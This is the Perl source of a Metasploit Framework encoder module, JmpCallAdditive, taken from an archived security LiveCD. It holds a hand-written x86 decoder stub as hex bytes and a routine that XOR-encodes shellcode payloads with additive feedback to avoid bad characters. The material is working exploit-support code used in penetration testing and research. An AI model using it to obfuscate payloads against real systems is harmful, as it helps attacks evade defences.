home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / encoders / JmpCallAdditive.pm < prev    next >
Text File  |  2006-06-30  |  3KB  |  108 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Encoder::JmpCallAdditive;
  11. use strict;
  12. use base 'Msf::Encoder';
  13. use Pex::Encoding::XorDwordFeedback;
  14.  
  15. my $advanced = {
  16. };
  17.  
  18. my $info = {
  19.     'Name'    => 'IA32 Jmp/Call XOR Additive Feedback Decoder',
  20.     'Version' => '$Revision: 1.1 $',
  21.     'Authors' =>
  22.         [
  23.             'skape <mmiller [at] hick.org>'
  24.         ],
  25.     'Arch'    => [ 'x86' ],
  26.     'OS'      => [ ],
  27.     'Description'  =>  'Jmp/Call XOR Additive Feedback Decoder',
  28.     'Refs'    => [ ],
  29. };
  30.  
  31. sub new 
  32. {
  33.     my $class = shift; 
  34.  
  35.     return($class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_));
  36. }
  37.  
  38. sub EncodePayload 
  39. {
  40.     my $self = shift;
  41.     my $payload = shift;
  42.     my $badchars = shift;
  43.     my $shellcode;
  44.     my $encoded;
  45.     my $pos;
  46.     my $key;
  47.  
  48.     my $decoder =
  49.         "\xfc" .                # cld
  50.         "\xbbXORK" .            # mov ebx, key
  51.         "\xeb\x0c" .            # jmp short 0x14
  52.         "\x5e" .                # pop esi
  53.         "\x56" .                # push esi
  54.         "\x31\x1e" .            # xor [esi], ebx
  55.         "\xad" .                # lodsd
  56.         "\x01\xc3" .            # add ebx, eax
  57.         "\x85\xc0" .            # test eax, eax
  58.         "\x75\xf7" .            # jnz 0xa
  59.         "\xc3" .                # ret
  60.         "\xe8\xef\xff\xff\xff"; # call 0x8
  61.  
  62.     if (not defined($key = Pex::Encoding::XorDwordFeedback->KeyScan($payload, $badchars)))
  63.     {
  64.         $self->PrintDebugLine(3, "Failed to find XOR key");
  65.         return undef;
  66.     }
  67.  
  68.     $shellcode =  $decoder . $self->EncodeXorDwordAdditive($key, $payload);
  69.     $key       =  pack("V", $key);
  70.     $shellcode =~ s/XORK/$key/s;
  71.  
  72.     if (($pos = Pex::Text::BadCharIndex($badchars, $shellcode)) != -1)
  73.     {
  74.         $self->PrintDebugLine(3, "Bad character found at $pos");
  75.         return undef;
  76.     }
  77.  
  78.     return $shellcode;
  79. }
  80.  
  81. sub EncodeXorDwordAdditive
  82. {
  83.     my $self = shift;
  84.     my $key = shift;
  85.     my $payload = shift;
  86.     my $encoded = '';
  87.     my $length = length($payload);
  88.     my $offset;
  89.     my $orig;
  90.  
  91.     for ($offset = 0; $offset < $length; $offset+=4)
  92.     {
  93.         my $chunk = substr($payload, $offset, 4);
  94.  
  95.         $chunk   .= "\x00" x (4 - length($chunk));
  96.         $orig     = unpack("V", $chunk);
  97.         $chunk    = unpack("V", $chunk) ^ $key;
  98.         $encoded .= pack("V", $chunk);
  99.         $key      = Pex::Utils::DwordAdd($key, $orig);
  100.     }
  101.  
  102.     $encoded .= pack("V", $key);
  103.  
  104.     return $encoded;
  105. }
  106.  
  107. 1;
  108.